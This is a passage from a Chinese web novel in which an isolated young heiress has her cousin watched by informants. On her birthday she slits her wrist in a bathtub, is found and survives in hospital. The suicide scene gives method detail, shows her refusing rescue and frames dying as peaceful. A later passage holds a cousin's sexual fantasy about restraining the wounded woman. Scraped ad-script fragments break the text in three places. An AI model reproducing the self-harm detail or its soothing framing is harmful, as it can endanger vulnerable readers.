服务员极其热情地迎上来,“小姐姐是第一次来吗?里面请。” 谢轻意淡淡地点点头,便算是回应。 她进门,迅速扫了眼里面的情况。 舞台上,一位身材火爆的年轻女子正在跳钢管舞,舞姿张扬,很有力量感和爆发力。吧台坐满了人,有人喝酒,有人抽烟,烟雾缭绕的。其中一个酒保,跟眼线偷拍的照片背影上的人能对上。 她以舞台、吧台、酒保为参照物,结合照片拍摄角度,精准锁定施言和眼线的位置。 谢轻意没有过去,而是在稍远的地方找了个能看到他们又不那么显眼的位置坐下。 带来的八个保镖分散在她旁边的位置。 这阵仗引起周围人的注意,不少人悄悄打量,但她周身冷漠气息,以及八个西装革履保镖跟着的阵仗,让人望而却步。 谢轻意给自己点了杯果汁,给八个保镖各点了瓶红酒,出任务保护她,不能喝酒,但可以带回去喝。 果汁瞬间拉低谢轻意的冰冷感,再衬上她冷然中带着几分端庄乖巧的坐姿,一下子就变成家世很好教养得很好的小姑娘,跟家里吵架后,心情不好出来消遣的样子。这样的小姑娘通常被保护得很好,很好骗。 原本悄悄打量她的不少人,眼睛亮了。更有人跟同伴眉来眼去:过去撩撩。 谢轻意觉察到周围的视线,淡淡地扫视一圈朝她看过来的人。 接触到她目光的人,只觉她漠然的神情中带着居高临下的俯视感,仿佛凌驾在众生之上看一群蝼蚁,浑身不舒服,甚至有人暗骂一声:“艹,拽什么拽!” 过去搭讪的念头又打消了。 谢轻意的目光落在施言身上。 施言独自坐一桌,面前摆着一排红酒,六瓶,全开。其中一瓶已经喝空,她正拿起第二瓶倒在杯子里,一口接一口地品饮,像是单纯地来喝酒买醉的。 旁边,鬼鬼祟祟地滑过来一个人,蹲在谢轻意的身边:“老板!” 这人长得一点都不显眼,扔在人堆里一眼找不着的那种。他蹲在谢轻意身边显得有些谄媚和讨好,但那笑容是实打实的真诚开心。 大老板亲至!到他好好表现的时候了。 谢轻意淡淡地点了下头,说:“忙去吧。” 眼线想要汇报情况来着。他清清嗓子,道:“施总带了保镖。” 谢轻意“嗯”了声,说:“两个保镖一个司机,司机在离她十米的角落里站着,两个保镖坐在她右侧方的桌子玩牌。”她又扫了眼眼线。 眼线要汇报的内容都让老板说了,再收到老板警告的眼神,说了句:“老板,我忙去了。” 一溜烟,又没影了。 谢轻意的扫了圈,才见到眼线混进看场子的人堆里跟人说说笑笑去了,不知道的还以为他在这里上班。 有人过去搭话,施言的目光扫过,又极冷淡地将人打发了。 没一会儿,第二瓶酒见底。 施言的眼里添了点酒意,看起来像蒙上层雾气,再衬上她周身妩媚的气息,极勾人。 凑到施言跟前的人络绎不绝,却无一成功,倒是她面前的摆的酒越来越空。期间,施言还去了好几趟洗手间,大概是酒喝多了,膀胱撑不住。 施言的酒量似乎很好,五瓶红酒下肚,她还能走直线。 第六瓶红酒见底,已经快到凌晨一点。 谢轻意极意外:六瓶红酒!施言的酒量这么好的吗。 眼线居然没告诉过她。 不过,好像酒量不算是什么有价值的情报信息。 施言放下空酒杯,起身,走人。 她的脚步略微 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有点飘,眼神不是很清明的样子,但没到醉到一塌糊涂的地步。 谢轻意暗暗感慨:酒量真好。 她心道:施言这是要回去了?没她看上的猎物? 她特意赶来,是想看限制级的来着。 谢轻意又觉得自己这想法有点变态兼猥琐。 施言从谢轻意旁边飘过去,连个眼神都没给她。 谢轻意心说:你瞎啊! 她探头,便看到施言径直出门,是真的走了。 谢轻意顿觉没趣。她发消息给眼线:施言出门钓猎物,是不是经常空手而归? 眼线回道:是的老板。施小姐的眼光很挑,非大美女不收。 行叭。酒吧里没几个好看的。谢轻意待下去也没意思,揣起手机,起身,出了酒吧,一眼看见施言站在风雪中,双手揣在兜里,眼中带笑,满脸饶有趣味地看着她。 这是特意在等她。 施言看到她了。 那还装没看到? 谢轻意轻哧一声,扭头就走。 她走了没几步,手机来电铃声响。 这个时间不会有人给她打电话,除了施言。谢轻意掏出手机一看,果然。她犹豫两秒,接通,问:“干嘛?” 施言的声音里带着笑:“你特意跑过来,偷看我一晚上,想干嘛?” 想看限制级现场。谢轻意没说出口。 施言又问:“你派人跟踪我。多久了?”语气轻轻的,似并没有放在心上。 五年!谢轻意随着能够动用的人手越来越多,安排的眼线也越来越多,施言排得比较后,是五年前才开始监视上的。 施言听她没回答,又问:“从我回国起?” 谢轻意心说:“那么晚,才不符合我的风格。” 脚步声靠近,施言来到谢轻意的身后。 谢轻意身上的汗毛一下子竖了起来,又很快压下异样感镇定下来,回头,平静的目光望向施言,然后瞧见施言的眼里、脸上全是明艳妩媚的笑容。那笑容又轻又柔,像替代了头上路灯的光,破开风雪夜的黑暗。 施言的眼神看起来还算清明、神情正常,不像是有精神病的样子。大概是喝了酒的缘故,跟平日里又有不同,眼里像藏了春日里盛开的桃花,又染了三分酒意,似浸了层雾色。 谢轻意有点恍惚:难道以前眼线发来的消息有误?施言其实是正常的? 12. 第 12 章 施言连问好几个问题,谢轻意连声应答都没有,她也不恼,只微笑着用极轻柔的语气说了句:“很晚了,早些回去休息。” 塞了颗谢轻意喜欢吃的软糖在她掌心,转身往停靠在路边的车子走去。 谢轻意低头看看手里的糖,又看向已经上车的施言,眉头微挑,恍然大悟:原来今晚钓的猎物是我呀。 施言怀疑她有派人跟踪,于是,特意来了这么一出,然后,她出现了。 钓就钓呗,就是有点遗憾……好像也没那么遗憾没看成限制级。 她剥开糖,塞进嘴里,嗯,挺甜的。 谢轻意转身上了自己的车,回家。 她考虑到盯梢施言的眼线露过面,可能已经曝露,给他调了个盯梢岗位。为了避免他监听拍摄到的东西外泄,谢轻意按照惯例,收回旧设备,换了套新设备给他。如果他私自留下备份,会涉及违反他们签署的保密协议,得不偿失。 谢轻意换掉盯梢的人,便把施言的事抛到脑后。 偶尔有施言的消息传来,她也是看过就算。例如,谢承安不愿离婚,施惠心跟他谈不拢,走起诉程序时间又太长,耗不起那时间,于是施言在着手掏空公司,打算利用正常交易渠道转走核心产业、项目,直接搞破产,走破产重组路线把谢承安踢出局。 谢轻意也安排了人从中掺一脚,只要不犯法又有钱赚,都可以搞一波嘛。更何况是斗谢承安,在适当范围内花些钱也是乐意的。 她养保镖、眼线团队的花费巨大,谢家的老宅打理维护也是价格昂贵,每个月的花费都跟哗哗流水似的,总得把花销挣出来,不然坐吃山空的话,再多的家底都扛不住。 谢轻意忙着课业、生意买卖、投资上的事情,说忙也不忙,日子很平淡的一天天过着。谢老先生不在了,谢轻意总觉得冷冷清清的,身边连个能说话的人都没有,日子过得一天比一天沉寂,心境仿佛进入迟暮,暮气沉沉的。 时间走得极其缓慢,她在一点点的煎熬中,到了腊月十九,也就是她的生日。 往年,都是她跟谢老先生两个人过,做几大桌子菜,宅子里的工作人员坐一起,她跟谢老先生凑一块儿,以前谢老先生的老友们没离世的时候,还会把他们叫来热闹下。后来,老人一个个走了,今年谢老先生也走了,生日也只剩下谢轻意自己一个人过。 还是按照往年的惯例,所有人加餐,她给大家发红包凑个喜庆,但给她发生日红包的人,没有了。 谢轻意莫名地又想起了谢老七和文兰两口子。 那天早上,如果不是文兰女士不顾受伤,一把抓住匕首,她已经没了。那时候,文兰女士纯属下意识的本能动作,还是护着她点的吧,多少在意点的吧。 要是,今天,他俩没有忙到又忘记她的生日,要是能有一通电话过来,关系也不是不能缓和一点点,就一点点。 上午,谢轻意收到快递,是一个超大的箱子,捆着彩带,一看就是送的大礼包。 她长这么大,还没收过这样的礼物。 谢轻意去看快递单,寄件人谢承勤。 谢轻意只觉好笑,自己在期待些什么? 她打开箱子,从中抱出一个跟人差不多高的大熊公仔,还有漂亮精致的糖果大礼包,化妆品大礼包、奢侈品包包,以及一块价格不菲的手表。六伯留了张卡片:祝轻意生日快乐,听老爷子说你喜欢糖果,买了些,不知道你还有别的什么喜好,找同事和谢钰打听了下现在小姑娘喜欢什么,就给你买了,希望你不要嫌弃。 谢轻意给六伯发了条信息:收到生日大礼包了,我很喜欢,谢谢六伯。 谢老六又打了个电话过来。 谢轻意不擅长扯家长,聊了几句,就跟谢老六结束了通话。 她把生日大礼包搬回屋放好,接到施言打来的电话。 施言问:“在家吗?” 谢轻意说:“在家。” 施言说:“行,我去找你。” 谢轻意“嗯”了声。 施言便挂了电话。 谢轻意在房里待了一会儿,等到十一点,谢老七和文兰也没给她打电话。她估计施言快到了,去到前院,便见施言又站在院子里看风景。 大冷的天,昨夜下过的雪还没化,地上铺了厚厚的一层,哪怕今天有太阳,室外仍旧很冷。 谢轻意走到施言跟前,问:“有事?” 施言说:“来找你堆雪人。” 谢轻意扔下句:“幼稚。” 她转身进入客堂,一眼看到放在客堂里的蛋糕,以及摆在蛋糕旁的小雪人。 雪人捏得极不走心,一看就是刚从院子里团两团雪,随意揉搓而成。 施言进屋,见到谢轻意的目光定在雪人身上,眼里漾满笑意,问:“喜欢我捏的雪人吗?” 谢轻意心说:“你捏的时候能走点心么?”,太敷衍了。她“嗯”了声,懒得多说什么。 施言捧起雪人,塞到她的手里。 入手一片冰凉。 谢轻意双手拢着雪人,抬眼看着眼里满是柔光的施言,客气地说了句:“有心了。”并没有因为施言的到来而开心。 感谢施言记得她的生日,但演还是真心,她分得出来。 从小,四姑就很讨厌她,说她小小年龄,一点孩子的天真都没有,像阴暗角落里擅窥人心的鬼魂。 那时候谢轻意只是觉得自己聪明不好骗,而一个人想什么,无论装得有多好,表情、动作、眼神多少都会泄漏些,再就是每个人做事都有自己的风格、习性等,综合起来,自是一眼分明。 她不好骗,又不愿跟他们一起演,所以不讨喜。 她不需要因为特意讨好才得来的喜欢。那不是别人喜欢她,而是喜欢讨好、喜欢演。 谢轻意猜测施言可能是想从她这里得到谢承安的罪证,以了却施惠心的心愿。 谢承安生意上的事不干净,但最多就是罚款什么的,能把他送进去的只有谋杀妻子,但都是未遂,即使真判刑也不会重到哪里去,再来个超过七十五岁从轻处罚,判个缓刑什么的,甚至都不用进去。哪怕进去,没两年就能出来了。 谢轻意估计,真要是等到那个结果,大伯母只怕会怄死。 施言有孝心,想折腾就折腾呗。好歹大伯母老年还有施言这么个安慰。 二十一岁生日,是施言陪她过的。 在院子里堆了一个大雪人。 下午切了生日蛋糕。 她俩拍了个合照。 施言非要让她抬起手臂在脑袋上比个大大的心。 幼稚直白得只差把心思写到脑门子上,美人计! 下午,送走施言。 谢轻意接到文兰女士打来的电话。 文兰女士充满愧疚地道歉:“对不起,妈妈太忙了,把你的生日忘了。妈妈给你寄了生日礼物,过几天到。” 谢轻意问:“六伯给你打电话了?” 文兰女士“嗯”了声,说:“刚打的。”她又问:“你生日怎么过的?” 谢轻意说:“施言陪我过的。堆了雪人,吃了生日蛋糕,拍了生日合照。” 文兰女士明显长松口气,说:“那就好。” 谢轻意的心里堵得慌,应付了几句,挂了电话。 这电话,打了还不如不打。 谢轻意想发消息问施言:大伯母会忘记你的生日吗? 但不打算自取其辱。 大伯母每年都陪施言过生日,哪怕施言在国外留学,大伯母也会飞过去陪她。 晚饭,是谢轻意独自吃的。 她自插一刀后,肠胃功能就不太好,吃多了容易肚子疼。 下午吃了蛋糕,还没消化完,晚上只喝了小半碗汤,吃了几筷子菜,就吃不下了。 夜里,谢轻意点开邮箱,收到年终财报,才突然惊觉好像快要过年了。 往年,她过完生日,就要张罗着备年货。 谢老先生在的时候,要给诸多儿孙们备过年的东西,都是她在跑腿操持,她可忙了。 他一走,她除了跟六伯的关系还过得去外,几乎跟所有人都成为了仇人,断了亲戚往来,不用备。 虽说她不稀罕跟他们往来,但这日子过得也挺没劲的。 她看完财报,把觉得有异常的几家公司圈出来,准备回头去看看是个什么情况,之后开了瓶红酒,泡在热腾腾的浴缸里喝点小酒助眠。 有红酒滴在浴缸里,晕开的痕迹,有点像血。 谢轻意的目光顿住,一个念头钻入脑海。 她定了定神,赶紧把那念头挥出去。 不至于,真不至于。 可鬼使神差的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她扯过毛巾裹在红酒瓶上,将红酒瓶用力地往地上一砸,酒瓶碎了,红酒渗出来,声音不大,没有惊动刚放完洗澡水送完毛巾进来还没走的生活助理。 谢轻意拿起手机发了条消息给生活助理:“天晚了,早点回去休息,明天再来收拾。” 她又补充句:“夜里不要来打扰我。” 她知道自己现在的念头很危险。 最好就是从浴缸里起身,拉开门出去,让生活助理进来收拾碎酒瓶,然后,她吃片安眠药,好好休息,睡一觉。 可是,她不想! 念头疯长。 心头不痛快,好想见血。 见到血,是不是心里就能痛快些。就像之前捅自己那一刀,流血了,痛了,反而有活着的感觉,哪怕那活着是在一点点走向死亡。 生活助理轻轻敲响浴室门,隔着门说:“老板,那我回去了,你早点休息。有什么吩咐,随时打我电话。” 谢轻意“嗯”了声。 生活助理又问:“刚才是不是有什么东西打了?” 谢轻意说:“没事,你回去吧。” 她闭上眼,心里极度挣扎和犹豫。 她有钱,有好多好多的钱,有好多金子银元古玩字画,还有好多投资。她才二十岁,正是享受人生的年龄,正该恣意挥霍,不该活成这模样。 可她感觉自己像被一张黑色的巨网困住了,挥霍享受都不是她想要的。她甚至羡慕施言,同样有病,至少施言还能装、还能演,还能做限制级运动发泄情绪。 谢轻意赶紧挥走脑子里的可怕念头。她告诉自己,去睡觉,明天就好了。 可明天也好不了。 要过年了,她一个人过。 一刀子下去,就又是爷孙俩一起过了。 谢轻意伸手去揪地上让红酒渗透的毛巾,扯开,露出红酒瓶碎片。 她闭着眼睛,不用看,都能找准血管。碎片浸到水里,放在左手手腕上,对着手腕上的血管用力地划了下去。 疼。 周围又好像突然间静了下来,心也静了下来。 她一下又一下地割着,手腕上的疼痛驱散了萦绕在周围的黑暗,心,好像一点点平静下来。 她睁开眼低头看去,血染红了一大片,还在往外扩散。 这时候,打电话,止血,还来得及。 可她不想! 谢轻意扔了手里的红酒碎片,泡在浴缸里,看着鲜血在浴缸里染红的区域越来越大。 她居然无惧死亡,反而有种本来就在黑暗中,她就要睡回黑暗中回到梦乡的安宁感。 这种安宁感,让她决定放弃求救。 放过自己。 …… 手机铃声响起。 一遍又一遍。谢轻意昏昏沉沉地睁开眼,心想:我还没死透? 她摸到手机,划开接听键,“喂”了声,声音很低,有气无力。谢轻意觉得,自己大概离死透也快了。 施言的声音传来,极诧异:“睡了?这么早?” 谢轻意“嗯”了声,问:“有事?” 施言说:“想请寿星公看烟花,赏个脸?” 谢轻意心说:“赏你个惊吓要不要。”随即又想,大概率只能惊到,吓不到施言。 施言又说:“我现在在你家门口,烟花就在车上,你想去哪里放?” 谢轻意很困,趴在浴缸边,连手机都握不住。手机掉在浴缸的台沿上。 她知道,这是自己唯一的求救机会。 要是待会儿再睡着,可能就再醒不来了。 施言喊了声:“谢轻意。” 谢轻意“嗯”了声。 施言说:“你倒是给个回应啊。你想去哪看烟花?” 谢轻意沉默。 电话那端,也没再说话。 谢轻意感觉自己似快要睡着了,睁开眼,周围已经是一团模糊,放在耳朵旁的电话还有极微弱的呼吸声传出,电话没挂。她喊了声:“施言?” 这回,电话那端轻轻地“嗯”了声,听不出什么情绪。 谢轻意知道,施言闹情绪了。脾气再好的人,遇到她这样的,也得破防。她低喃句:“挂了吧。” 施言挂断了电话。 谢轻意看了眼手机屏幕,闭上眼睛,意识一点点下沉。 13. 第 13 章 施言挂断电话后,直接敲响了谢家老宅大门。 大门旁边就是值班的门房,二十四小时都有保镖值守。 隔着院门,保镖把施言打电话的声音听得一清二楚,知道是来给老板过生日放烟花的,二话不说就打开门放她进来了,还热情地问:“要帮忙搬烟花吗?” 要是老板不让施言小姐进,会打电话跟他们说。没打电话,就是刚才沟通好了。 施言快步朝着后院去,脚步飞快。 谢轻意要是不愿搭理人,只会直接挂断电话,不会等着让她挂。 之前一钓就出来的人,过生日,把烟花拉到她家门口,居然不出来,说话的声音也不对劲。能在亲爷爷刚过世就拿刀子捅自己的人,干出什么事都不让人意外。 在前院给老板放烟花,和直闯后院可不一样。保镖赶紧追上去,喊:“施言小姐。” 施言被保镖伸手拦住,于是说:“跟我去看看你们老板,她有点不对劲。” 保镖上下打量施言,一时间拿不准主意,说:“你稍等。” 他直接打老板电话,没人接。 他再打,还是没有人接。 他继续打,依然没有人接。 保镖吓得拔腿就往后院跑。 老板不可能不接他们的电话。 老板刚才还在跟施言小姐通话。 施言也跑了起来,速度比保镖略慢。她赶到的时候,保镖正在猛踹浴室门。 他闻到了类似铁锈的味道,那是血腥味。 他的力气极大,两脚就把浴室门踹开了。 浴室中间放着一个大浴缸,浴缸里的水呈血红色,谢轻意趴在浴缸边沿,露出光滑的背,她搭在浴缸上的左手还在往下滴血。 保镖让眼前的一幕惊懵。 施言也愣住了。谢轻意?她在自杀? 离谱,好像又没那么离谱。这都第二回了。生日当天自杀?她还挺会挑日子。 保镖率先回过神来,冲过去,又去摸她的脉搏,很弱,但还有。他以最快的速度拨通队长的电话:“头儿,老板在浴室割腕自杀,脉搏很弱,已经昏迷了……” 他打完电话,扯过浴袍裹在谢轻意的身上,将她从水里捞出来,两三下系好浴袍带子,以防走光,又飞扑到卧室去找到急救箱,用绷带先把胳膊、手腕都缠起来紧急止血。 近处值班的保镖见到同事飞奔过来,也赶过来查看情况,见状直奔卧室,扯了张保暖的绒毯裹在谢轻意的身上,抱起她就往外面跑。 他怕等不及救护车到,选择自己开车送医院。他边跑边喊:“打电话给医院,联系抢救输血。” 保镖训练有素,应急反应极快,很快,两车保镖护着谢轻意去医院。 施言快步跟在保镖身后往外去,但她再快,也快不过拔腿飞奔的保镖,到门口时,连他们的影子都没见到了。 她坐上车,吩咐司机去医院。 谢家老宅在市中心,离最近的三甲医院只有半个小时的车程,晚上路况好,开得快,十分钟就能到。 施言到医院时,谢轻意已经送去抢救了。 几个保镖跑前忙后,有去挂号交费的,有守在手术室外的。 护士喊家属签字,一问,谁是家属,全是保镖。 护士问:“家属呢,通知家属没有?” 施言上前:“她父母在外地,我是她堂姐。”,接过护士手里的单子在家属栏签了字。 守门的保镖对着施言连声感谢,感激无比。如果不是施言小姐过来给老板庆生发现不对劲,等到他们发现时,只怕老板早已经没了。 施言摆摆手,在争救室外坐着,拿着电话,按理说,应该通知谢老七和文兰的,但……怎么通知?上次谢轻意自捅一刀,就是因为他俩。这次,天晓得会不会又跟他们有关。生日当天自杀,想也知道里面肯定有事。 施言想了想,问保镖:“你们老板住院那会儿,我七叔七婶去看过她几回?” 保镖们互看一眼,抬手比了个二字。 一回是去道歉,变成了吵架,老板破天荒的发了条朋友圈,骂得可脏了。 一回是拉去做精神病检查,之后老板的情绪就更不好了。老爷子在世的时候,老板不这样的。 不过,老板的事,他们做保镖的得守口如瓶,不能跟别人讲。 施言无语了。那时候他俩还在本地,没回部队呢。去的次数,还没她多! 她有些犹豫。过知谢老七和文兰吧,担心会刺激到谢轻意,不通知吧,只怕隔阂会越来越深。她思量过后,给文兰打了个电话。 文兰接到施言的电话极其意外,问:“言言?” 施言“嗯”了声,说:“今天轻意生日……” 文兰忙说:“说起来还得多谢你今天陪轻意过生日,这孩子提到你,话都多说几句。” 施言“呃”了声,说:“七婶,今天轻意生日,我晚上想给她放烟花庆祝下,来找她,发现她……割腕,这会儿还在抢救。” 文兰闻言一下子激动上了,叫道:“割腕?她怎么又自杀?她到底有什么想不开的事……” 施言闻言都想挂电话。 文兰说:“言言,麻烦你帮忙照看她几天,我这几天走不开,过几天再去看她。” 施言:“……”你孩子这会儿呼吸都没了,正在紧急输血做心肺复苏抢救,我刚给签了病危通知书。要是没抢救回来,你过几天只能去宾仪馆看尸体了。 她一个收养的都不这样。 她念书那会儿,跟谢家的人上的同一所私立学校。谢承安年龄最大的几个孙子孙女,跟她差不多的年龄,几人抱团欺负她。她情绪有点崩溃,给妈妈打电话,妈妈一边在电话里开导她,安抚她的情绪,一边扔下正在洽谈的生意项目,紧急赶到学校,了解完情况后,就在学校办公室给了那谢家那几个,一人几耳光,然后就接她离开了学校,安排她出国留学,断开她与谢家人的接触。本来,她是要念完高中才出国的,直接提前到初中就走了。 施言冷冷地说了句:“大概你和七叔就是她想不开的事吧。” 她直接挂断了电话,心里堵得慌。 子女和父母以血缘为纽带,产生的杀伤力,极其巨大。她的亲生父母没有养过她,提起来,都是她心里的一根刺。小时候被谢家的那几个追在身后骂野种、爸妈不要的野种…… 那时候谢轻意很小,坐在旁边吃糕点,听到他们喊,扭头看来,然后轻哧一声,那表情就像在说,乌鸦笑黑猪,私生子笑野种。 谢家那几个,连谢轻意的头发丝都不敢去碰一下,她就那么冷笑一声,一群人就没音了,一哄而散。而她,只觉不堪自卑到尘埃里。 妈妈见过她的亲生母亲,告诉她,她很年轻很漂亮,待人很有礼貌,很有教养的样子,她不是不想要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你,是有迫不得已的苦衷。我很感激她,让我能有你这么一个女儿。 亲生母亲有她的苦衷,但她是各项选择、权衡之下被放弃的那个。这是事实。 妈妈的仇恨,只冲着谢承安那一家子去,从不对着她。 她憎恶谢承安和谢承安的儿孙,有心疼妈妈想帮妈妈出气报仇的原因,亦有源自童年恩怨以及天然的立场冲突。 她讨厌谢轻意,讨厌她的高高在她,讨厌她有人人称赞的亲生父母,有爷爷奶奶当成眼珠子护着宠爱,讨厌她有极好的家世,拥有一切,看他们像站在云端里俯视一群蝼蚁,冷眼看笑话。 此刻,眼前浮现的却是谢轻意趴在浴缸里的样子。鲜红的血、光滑的后背,纤瘦脆弱的模样,像精美的骨瓷碎在那里。 可即便如此,也不是能她碰触到的。一群忠心耿耿的保镖把谢轻意护得严严实实,水泼不进,针插不进。 谢家各房、包括她,费劲心思想要拉拢收买谢轻意身边的人,从保镖到院子里扫地的,嘴是一个比一个严,人是一个比一个警惕。给钱、送礼、投其所好,甚至安排子女前途什么的,人家理都不理,看不上他们。 文兰的电话再次打过来,拜托她帮忙照看谢轻意。 施言把谢轻意现在的情况如实以报,又说:“如果她能抢救过来,她身边的人能把她照顾好,我插不上手。” “照顾好什么呀,照顾好就不会让她自杀了,言言,七婶拜托您了,成吗?” 施言又噎了把,心说:当着你们夫妻俩的面都能把自己捅了,她关浴室里脱光了泡浴缸里割腕,保镖还敢站旁边看着不成。 奇葩! 站得最近的保镖离施言只有一两米远,闻言扭头看了眼施言手里正在通话的手机,又收回目光,看向抢救室。 施言不愿再跟文兰多说什么,本来她也是要接近谢轻意的,于是连声应承下来。 文兰这才放心。 施言忽然有些好奇,问:“七婶,您是不是以前也这么拜托谢承安照顾轻意?” 文兰的声音凝住。 施言知道自己猜对了。 她心说:“找谢老六都比找我们靠谱。” 谢老六好歹职位高,又是待在经济发达地区,属于站在高位上的,跟他们没有利益纠葛,往来只看情分。谢老六要是帮忙,那是真的帮。 无论是找谢承安,还是找她,那都是把谢轻意这块大肥肉送虎口。 逮着机会,骨头都能给她嚼碎了。 不说旁的,就现在谢轻意这情况,真要有个三长两短,她的遗产,谁不想要? 哪怕谢轻意破产潦倒了,就凭她的颜值,还有平日里的那副作派,施言都会想方设法把她弄到手,然后恣意享用。 嗯,没破产,没潦倒,也是可以想的。 施言想到谢轻意趴在浴缸里泡在血水中左手滴血的模样,小腹痉挛喉咙发紧唇齿发痒。 她想把谢轻言禁锢在床上,让她摆出虚弱、无力反抗的造型,然后在她的脖子、肩膀、后背、下腰咬出一个个深深的牙印,在她身上留下许许多多深吻造成的斑驳痕迹,想看谢轻意是不是在床上也那么冷淡漠然,想看她动情时轻吟的模样,想看谢轻意挣扎着一声叠一声地求饶,让她说什么好听的话,就说什么好听的话。 施言收回放空的思绪,心道:“谢轻意,你可得活下来,别这样就没了。” 14. 第 14 章 夜里,谢轻意睁开眼,屋子里一片昏暗,只有隔间半开的门有些许光亮照进来,让她隐约能看清屋子里的摆设轮廓,熟悉的消毒水味道充斥满鼻间,身下睡着的正是医院的病床,她在什么地方,自是不言而明。 居然没死成! 谢轻意不知道该说自己命大,还是命硬。 她有些困,又沉沉地睡了过去,在梦里,她依然很困很累,只想一直睡下去,不想醒来,可有人推门进来的脚步声、围绕在她床边的走动声响,还是吵到了她。 她睁开眼,是穿着白大褂的医生来查房。 医生问:“醒了?记得自己是谁吗?叫什么名字?” 谢轻意不想理会,但不好给别人添麻烦,于是回道:“谢轻意,二十一岁,自杀,没死成,昨天夜里醒的,之后又睡着了。意识清楚,视线清楚,听力清楚,恢复良好。” 医生听到她自己说恢复良好,嘴角抽了抽。 他又感慨道:“这么漂亮一小姑娘,对自己下手挺重啊,听说你是拿红酒瓶碎片割的。血管、肌腱,手筋都割断了,这得割多少下啊,你还割得挺准,全都割在同一个位置。同一个位置反复割,你不疼吗?你说你要是把对自己的狠劲儿用在别的地儿,还有什么事是不能解决的……” 话匣子一打开,就絮絮叨叨个没停。 谢轻意扭头看着话唠医生,默然无语。 医生不仅话唠,长得也不好看,满脸的油,胡子拉叉的,从头到脚写着不修边幅不爱干净,但处理伤口的动作极娴熟灵巧,谢轻意能感觉到他那略带调侃打趣的语气里带着劝解和善意。 谢轻意知道自己病了,精神、情绪上病了。 医生很快便处理好伤口,又叨叨叨地叮嘱一通注意事项,让她配合治疗,别落下残疾什么的,这么漂亮的小姑娘落下残疾多不好,还吓唬她,要是伤口没治好,肌肉肌腱萎缩,手会变形变丑。 谢轻意不想再听他唠叨下去,只好“嗯”了声,应下。 不徐不疾的脚步声走到病房门口,然后又径直走到内间,是施言。 谢轻意的目光落在施言身上。 今日的施言穿着偏于休闲,双手插兜,带着点居高临下拽兮兮感。她明明是淡妆,却给人一种浓艳明媚又清冷的感觉。 浓艳明媚的是长相,清冷的是眉眼,这么一对比,就感觉像是平日里的商务风、内敛气质更像是封印。如今封印突破,内里的另一个施言走了出来。两者的差别极细微,但谢轻意能分辩出来。 谢轻意的目光跟施言的目光对上,竟生出种对峙感,自己没落下风,对方好像也没输。偏对方的眼里又染了几分笑意,又轻柔,还有种看笑话的奚落感。 医生对谢轻意说:“你昏迷了两天,你堂姐在这里守了两天,可别再干傻事了。” 谢轻意极意外。施言会来守着她? 医生做好记录、收拾好医疗器械用具,往下一间病房去。 施言拉来椅子,在床头边坐下,目光凝视着谢轻意。 那张扬的气质跟之前站在她家院子里看天、看鱼,跟陪她过生日时的截然不同。明明是同一个人,又好像变了一个人。此时的施言更像发病时混迹夜场的那个,可跟那天她见到的开了半打红酒的施言又有些不同。 一直以来,施言都认为施言有双重人格,平日里都是她以前打交道的那个,眼前这个之前只出现在夜里,去酒吧、夜总会等地方钓上猎物,一夜疯狂,之后回家,洗漱,睡一觉,醒来又变成内敛沉稳的施言。 这会儿大白天出现,就怪怪的。 可这样子的施言真的好好看,气场全开,浑身都在释放着张扬肆意的气质,明明给人一种清冷淡漠的样子,偏偏那眼神柔中带笑,似要让人沉溺进去,像矛盾综合体,却意外的和谐。 施言眼里的笑意更深:“谢大小姐喜欢这样的我?” 谢轻意直言:“你今天很好看。” 施言的眉头一挑,似开玩笑:“有毒哦。” 谢轻意好想问:你为什么白天出来呀。 问不出口。怎么问嘛。说我偷偷派人跟了你好几年,你的小秘密我都知道,这会儿你突然变个人出现在我面前,我好奇死了。这妥妥的不打自招。 不过,这样子的施言真好看,再多看两眼。 施言靠在椅子上,两眼含笑地看着谢轻意,让她看个够。有意思呵,谢大小姐喜欢的居然是她这款。此刻的谢轻意收起满身冷意,长长的眼睫毛下带着大大的困惑和好奇,像森林里蹦达着出现的灵动小鹿,用天真充满好奇的眼神打量着闯入森林的猎人。竟意外的柔软可爱,让人想rua。 忽然,谢轻意一醒:不是,施言不会是想来钓我吧? 她的目光又转为惊疑不定,在施言身上来回。 施言凑近,小声问:“想什么呢?有什么直接问呗。” 谢轻意淡淡地回了句:“你现在的样子好骚包,像孔雀开屏,我在想有哪里不对。” 施言的手机传来消息提示音,她从兜里摸出手机,看了眼消息,说:“谢承安被抓了。” “嗯?”谢轻意问:“发生什么事了?” 施言说:“王定坤死了。” 谢轻意说:“他不是半个月前就死了吗,还上了新闻。” 施言听到谢轻意提到上新闻,诧异地看了她一眼。她问:“你是从新闻上得知王定坤的死讯?” 谢轻意“嗯”了声。 施言更意外了,问:“你的眼线后来没再跟?”难怪她揪了好久,都没找到谢轻意的眼线。 谢轻意说:“把王定坤的地址告诉给你后,我的眼线就撤了。”明显是要下刀子了,她才不凑那么近去沾上血,平白给自己惹麻烦。 施言用力点点头,道:“谢大小姐,啧!” 还想把她套进去,结果,溜得真快。 谢轻意盯了王定坤那么久,必然处处留痕。只要顺着王定坤的死查下去,说不定就能揪出谢轻意盯王定坤和谢承安这条线,那么,虽然王定坤是谢承安派人去杀的,但消息是谢轻意透露出来的,这就相当于一个杀一个绑,谢承安是妥妥的进去,谢轻意也得沾不少麻烦。她有谢轻意在前面扛雷,片叶不沾身。 可是谢轻意的人早早的撤了,王定坤之前让她的人绑了两天的事甩锅不到谢轻意头上,怎么都会查到她这里来。虽然说起来就是她想通过王定坤找到谢承安杀妻的线索,想说服对方回来做人证,警方那边不会为难她,但谢家人对准谢轻意的矛头,可就得转移部分到她头上了。 谢轻意听得施言的语气,瞬间明白:“你想把绑人的锅甩我头上?” 她抬眼看向施言:有点丧良心啊。 施言低头看着她,读明白谢轻意眼神的意思,回道:“彼此彼此,你不也拿我当刀。”把王定坤扔给她,自己完美抽身。 偏偏谢轻意稳得住,只是捏住这个把柄下步闲棋,压根儿没打算从这里着手。她要是不接住这把刀,这事情还会继续耗着。 施言又问:“你透露消息给谢承安的事,屁股擦干净了吗?” 谢轻意说:“什么叫我透露给谢承安的?明明是有人见到了王定坤,打电话跟人闲聊,话传话,话到了谢承安的耳里。” 啧,把自己撇得真干净。 啧,真够滑头的。 